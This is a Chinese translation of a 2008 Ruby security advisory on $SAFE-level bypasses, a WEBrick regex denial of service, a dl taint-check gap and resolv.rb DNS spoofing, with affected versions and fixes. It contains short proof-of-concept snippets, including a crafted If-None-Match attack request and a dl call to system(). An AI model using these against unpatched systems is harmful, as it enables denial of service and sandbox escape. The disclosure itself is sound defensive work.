Ruby 中的多项漏洞
由 Shugo Maeda 于 2008 年 8 月 8 日发布
Ruby 中已发现多项漏洞。建议您升级到最新版本。
详情
已发现以下漏洞。
安全级别中的多个漏洞
已在安全级别中发现多个漏洞。
-
在安全级别 4 时允许 untrace_var。
trace_var(:$VAR) {|val| puts "$VAR = #{val}" } Thread.new do $SAFE = 4 eval %q{ proc = untrace_var :$VAR proc.first.call("aaa") } end.join -
$PROGRAM_NAME 在安全级别 4 时可能会被修改。
Thread.new do $SAFE = 4 eval %q{$PROGRAM_NAME.replace "Hello, World!"} end.join $PROGRAM_NAME #=> "Hello, World!" -
在安全级别 1-3 时可能会调用不安全的方法。
class Hello def world Thread.new do $SAFE = 4 msg = "Hello, World!" def msg.size self.replace self*10 # replace string 1 # return wrong size end msg end.value end end $SAFE = 1 # or 2, or 3 s = Hello.new.world if s.kind_of?(String) puts s if s.size < 20 # print string which size is less than 20 end -
在安全级别 4 时允许 Syslog 操作。
require "syslog" Syslog.open Thread.new do $SAFE = 4 eval %q{ Syslog.log(Syslog::LOG_WARNING, "Hello, World!") Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG) Syslog.info("masked") Syslog.close } end.join
这些漏洞由 Keita Yamaguchi 报告。
WEBrick 中的拒绝服务漏洞
WEBrick::HTTP::DefaultFileHandler 由于 WEBrick::HTTPUtils.split_header_value 中的回溯正则表达式,在处理请求时存在指数级时间开销的缺陷。
可被利用的服务器
require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
攻击
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
req = Net::HTTP::Get.new("/passwd")
req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
http.request(req)
}
p res
此请求可能在本宇宙中无法完成。
此漏洞由 Christian Neukirchen 报告。
dl 中缺乏污点检查
dl 未检查污点,因此可能允许攻击者调用危险函数。
require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]
此漏洞由 sheepman 报告。
resolv.rb 中的 DNS 欺骗漏洞
resolv.rb 允许远程攻击者伪造 DNS 答复。此风险可以通过 DNS 事务 ID 和源端口的随机性来降低,因此 resolv.rb 已被修复以随机化它们。
- 另请参阅:CVE-2008-1447
此漏洞由 Tanaka Akira 报告。
受影响的版本
- 1.8 系列
-
- 1.8.5 及所有 prior 版本
- 1.8.6-p286 及所有 prior 版本
- 1.8.7-p71 及所有 prior 版本
- 1.9 系列
-
- r18423 及所有 prior revision
解决方案
- 1.8 系列
- 请升级到 1.8.6-p287 或 1.8.7-p72。
- 1.9 系列
-
请使用 Subversion 获取最新版本。
$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby
请注意,您的包管理软件可能已经提供了纠正此弱点的软件包。
致谢
感谢 Keita Yamaguchi、Christian Neukirchen、sheepman 和 Tanaka Akira 将这些问题披露给 Ruby 安全团队。
变更
- 2008-08-08 12:21 +09:00 修正了 ruby 1.9 的 revision 号。
- 2008-08-11 11:23 +09:00 修正了 ruby 1.8 的 patchlevel。请参阅Ruby 1.8.7-p72 和 1.8.6-p287 的发布公告。
近期新闻
Ruby 4.0.0 发布
我们很高兴地宣布 Ruby 4.0.0 的发布。Ruby 4.0 引入了“Ruby Box”和“ZJIT”,并增加了许多改进。
由 naruse 发布于 2025 年 12 月 25 日
Ruby 文档的全新外观
继 ruby-lang.org 重新设计之后,我们还有更多好消息来庆祝 Ruby 成立 30 周年:docs.ruby-lang.org 采用了 Aliki——RDoc 的新默认主题,焕然一新。
由 Stan Lo 发布于 2025 年 12 月 23 日
重新设计我们的网站标识
我们很高兴地宣布对我们的网站进行全面重新设计。此次更新的设计由 Akatsuka Taeko 创作。
由 Hiroshi SHIBATA 发布于 2025 年 12 月 22 日
Ruby 4.0.0 preview3 发布
我们很高兴地宣布 Ruby 4.0.0-preview3 的发布。Ruby 4.0 引入了 Ruby::Box 和“ZJIT”,并增加了许多改进。
由 naruse 发布于 2025 年 12 月 18 日